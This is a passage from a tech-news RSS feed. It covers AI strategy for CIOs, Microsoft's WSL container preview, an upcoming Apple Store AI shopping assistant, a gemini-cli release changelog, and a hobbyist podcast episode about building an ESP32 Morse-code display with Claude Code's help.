<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[WSL container: A quiet revolution for Windows development]]></title>
<description><![CDATA[Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has ...]]></description>
<link>https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Running containers on Windows has never been as easy as it should be. While there are versions of <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker Desktop</a> and <a href="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html" data-type="link" data-id="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html">Podman</a> that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.</p>



<p class="wp-block-paragraph">Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a <a href="https://code.visualstudio.com/docs/remote/vscode-server" data-type="link" data-id="https://code.visualstudio.com/docs/remote/vscode-server">VS Code Server</a> in every container you’re building and testing. If you’re working with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, that’s even more complexity that needs to be managed, dragging you away from code.</p>



<p class="wp-block-paragraph">I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.</p>



<p class="wp-block-paragraph">So, it was good to see Microsoft make several announcements around WSL at <a href="https://news.microsoft.com/build-2026/">Build 2026</a> as part of <a href="https://www.infoworld.com/article/4188967/making-windows-a-developer-platform-again.html">a push to make Windows a developer platform again</a>. The first, an improved WSL3, is still some way away, but the second, <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/">WSL-native container support</a>, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.</p>



<p class="wp-block-paragraph">Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.</p>



<h2 class="wp-block-heading">Getting started with WSL container</h2>



<p class="wp-block-paragraph">WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter <code>wsl --update --pre-release</code>.</p>



<p class="wp-block-paragraph">This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering <code>wslc</code>, which should <a href="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers" data-type="link" data-id="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers">list the available commands</a>. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).</p>



<p class="wp-block-paragraph">Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.</p>



<h2 class="wp-block-heading">Calling Linux containers from Windows applications</h2>



<p class="wp-block-paragraph">Things get more interesting when you start to use the <a href="https://wsl.dev/api-reference/">WSL container API</a> from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.</p>



<p class="wp-block-paragraph">The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided <a href="https://github.com/microsoft/WSL/tree/master/doc/samples">sample code</a> to show you what’s possible at this early stage.</p>



<p class="wp-block-paragraph">Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.</p>



<p class="wp-block-paragraph">It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.</p>



<h2 class="wp-block-heading">Manage Linux containers from Windows</h2>



<p class="wp-block-paragraph">If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the <a href="https://github.com/mhackermsft/wslcontainerdesktop" data-type="link" data-id="https://github.com/mhackermsft/wslcontainerdesktop">WSL Container Desktop</a>, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the <a href="https://github.com/microsoft/windowsappsdk" data-type="link" data-id="https://github.com/microsoft/windowsappsdk">Windows App SDK</a> installed, and some features require access to the Azure CLI.</p>



<p class="wp-block-paragraph">WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.</p>



<p class="wp-block-paragraph">Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.</p>



<p class="wp-block-paragraph">Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.</p>



<h2 class="wp-block-heading">Run Kubernetes inside Windows for cloud-native development</h2>



<p class="wp-block-paragraph">One of the more useful features of WSL Container Desktop is the ability to quickly stand up a <a href="https://k3s.io/" data-type="link" data-id="https://k3s.io/">K3s</a> Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own <a href="https://www.infoworld.com/article/3964051/headlamp-a-multicluster-kubernetes-user-interface.html">Headlamp UI</a>, making it easy to go between your development environment and a production Kubernetes cluster.</p>



<p class="wp-block-paragraph">It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.</p>



<p class="wp-block-paragraph">The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Store App May Soon Add AI Virtual Shopping Assistant]]></title>
<description><![CDATA[Apple appears to be preparing a new virtual shopping assistant for the Apple Store app, with updated privacy terms revealing how the feature will collect data, personalize responses, and support purchase decisions.



MacRumors spotted a new “Virtual Shopping Assistant” section on the Apple Store...]]></description>
<link>https://tsecurity.de/de/3688269/ios-mac-os/apple-store-app-may-soon-add-ai-virtual-shopping-assistant/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688269/ios-mac-os/apple-store-app-may-soon-add-ai-virtual-shopping-assistant/</guid>
<pubDate>Thu, 23 Jul 2026 09:28:53 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple appears to be preparing a new virtual shopping assistant for the Apple Store app, with updated privacy terms revealing how the feature will collect data, personalize responses, and support purchase decisions.



MacRumors spotted a new “Virtual Shopping Assistant” section on the Apple Store App &amp; Privacy page, which explains that Apple will collect account information, device identifiers, carrier details, chat data, and location information when users allow access.



The assistant will use this data to personalize conversations and provide relevant product recommendations inside the Apple Store app. Apple will also save chat transcripts so users can return to earlier conversations, while the company will use the data for business analytics and service improvements.



Apple explains how it will handle chat data



Apple says it will remove personal identifiers before sharing chat content with external partners that help generate conversational responses. The wording suggests that another company may provide part of the AI system, although Apple has not named any partner or model.



Users will have control over whether Apple uses their conversations to improve the assistant. A new Chat Improvements option will appear under Account &gt; Settings in the Apple Store app for users who want to manage this permission.



The privacy policy also suggests that Apple will launch the assistant only in selected regions at first, with wider availability expected later.



Apple has already added an AI chatbot to its Sales Coach app for retail partners, while the company is also testing AI tools that record and summarize Genius Bar sessions. The new shopping assistant appears to be the next step in Apple’s growing use of AI across its retail services.]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.52.0-nightly.20260723.g9681621c6]]></title>
<description><![CDATA[What's Changed

fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by @luisfelipe-alt in #28472
feat(evals): add eval coverage report command by @ved015 in #28169

Full Changelog: v0.52.0-nightly.20260722.gc776c665b...v0.52.0-nightly.20260723.g96...]]></description>
<link>https://tsecurity.de/de/3687851/downloads/release-v0520-nightly20260723g9681621c6/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687851/downloads/release-v0520-nightly20260723g9681621c6/</guid>
<pubDate>Thu, 23 Jul 2026 03:47:23 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luisfelipe-alt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luisfelipe-alt">@luisfelipe-alt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4935978236" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28472" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28472/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28472">#28472</a></li>
<li>feat(evals): add eval coverage report command by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ved015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ved015">@ved015</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4756850004" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/28169" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/28169/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/28169">#28169</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/google-gemini/gemini-cli/compare/v0.52.0-nightly.20260722.gc776c665b...v0.52.0-nightly.20260723.g9681621c6"><tt>v0.52.0-nightly.20260722.gc776c665b...v0.52.0-nightly.20260723.g9681621c6</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4689: Cheap Yellow Display Project Part 8: Writing the code]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerp...]]></description>
<link>https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687798/podcasts/hpr4689-cheap-yellow-display-project-part-8-writing-the-code/</guid>
<pubDate>Thu, 23 Jul 2026 02:06:01 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

Hello, again. This is Trey.

</p>

<p>


</p>

<p>

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  

</p>

<p>


</p>

<p>

If you wish to catch up on earlier episodes, you can find them on my 
<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
HPR profile page</a>


<a href="https://www.hackerpublicradio.org/correspondents/0394.html" rel="noopener noreferrer" target="_blank">
https://www.hackerpublicradio.org/correspondents/0394.html</a>



</p>

<p>


</p>

<p>

It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  

</p>

<p>


</p>

<p>

We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.

</p>

<p>


</p>

<p>

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.

</p>

<p>


</p>

<p>

But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  

</p>

<p>


</p>

<p>

"Hello, my name is Trey, and I am a fraud."

</p>

<p>


</p>

<p>

OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

</p>

<p>


</p>

<p>

As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?

</p>

<p>


</p>

<p>

So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

</p>

<p>


</p>

<p>

Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

</p>

<p>


</p>

<p>

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:

</p>

<p>


</p>

<p>

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

</p>

<p>


</p>

<p>

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

</p>

<p>


</p>

<p>

Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.

</p>

<p>


</p>

<p>

CYD Morse Sender — Step-by-Step Build Plan

</p>

<p>


</p>

<p>

What You Already Have

</p>

<p>

- 3 fully designed LVGL screens (Send, Config, Keyboard)

</p>

<p>

- 7 send buttons with green styling on the Send Screen

</p>

<p>

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

</p>

<p>

- Text area + LVGL keyboard widget on Keyboard Screen

</p>

<p>

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

</p>

<p>

---

</p>

<p>

Phase 1: Fix Touchscreen Input

</p>

<p>

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         

</p>

<p>


</p>

<p>

Phase 2: Persistent Message Storage

</p>

<p>

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

</p>

<p>


</p>

<p>

Phase 3: Config Screen — Slot Selection &amp; Speed

</p>

<p>

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

</p>

<p>


</p>

<p>

Phase 4: Keyboard Screen — Capture and Save Text

</p>

<p>

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

</p>

<p>


</p>

<p>

Phase 5: Morse Code Engine

</p>

<p>

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

</p>

<p>


</p>

<p>

Phase 6: Non-Blocking LED Transmission

</p>

<p>

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).

</p>

<p>


</p>

<p>

Phase 7: Wire the Send Buttons

</p>

<p>

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

</p>

<p>


</p>

<p>

Phase 8: Integration &amp; Polish

</p>

<p>

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

</p>

<p>

---

</p>

<p>

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

</p>

<p>


</p>

<p>


</p>

<p>

This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 
<a href="https://hackerpublicradio.org/eps/hpr4532/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4532/index.html</a>

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 
<a href="https://hackerpublicradio.org/eps/hpr4624/index.html" rel="noopener noreferrer" target="_blank">
https://hackerpublicradio.org/eps/hpr4624/index.html</a>

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!

</p>

<p>


</p>

<p>

But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

</p>

<p>


</p>

<p>

Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  

</p>

<p>


</p>

<p>

Claude took me through it step-by-step, asking as it needed to read specific project files.

</p>

<p>


</p>

<p>

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

</p>

<p>


</p>

<p>

Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  

</p>

<p>


</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_1_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  

</p>

<p>


</p>

<p>

Then I had a thought.  I prompted Claude:

</p>

<p>


</p>

<p>

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

</p>

<p>


</p>

<p>

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  

</p>

<p>


</p>

<p>

It recommended changes, and then asked permission to make those changes, file by file.  .h files &amp; .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.

</p>

<p>


</p>

<p>

Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

</p>

<p>


</p>

<p>

</p>

<p>

<a href="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2.jpeg">
<img src="https://hackerpublicradio.org/eps/hpr4689/hpr4689_image_2_tn.jpeg">
</a>

</p>

<p>


</p>

<p>

The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.

</p>

<p>


</p>

<p>

We repeated this several times.  Some resulted in improvement, and others did not.

</p>

<p>


</p>

<p>

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.

</p>

<p>


</p>

<p>

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  

</p>

<p>


</p>

<p>

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

</p>

<p>


</p>

<p>

But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

</p>

<p>


</p>

<p>

Again, while it was frustrating, it was much less stressful.

</p>

<p>


</p>

<p>


</p>

<p>

We proceeded to 
<strong>

<em>
Phase 2: Persistent Message Storage</em>

</strong>

where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

</p>

<p>


</p>

<p>

Next, we combined elements of 
<strong>

<em>
Phase 5: Morse Code Engine</em>

</strong>

, 
<strong>

<em>
Phase 6: Non-Blocking LED Transmission</em>

</strong>

, and 
<strong>

<em>
Phase 7: Wire the Send Buttons</em>

</strong>

together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  

</p>

<p>


</p>

<p>

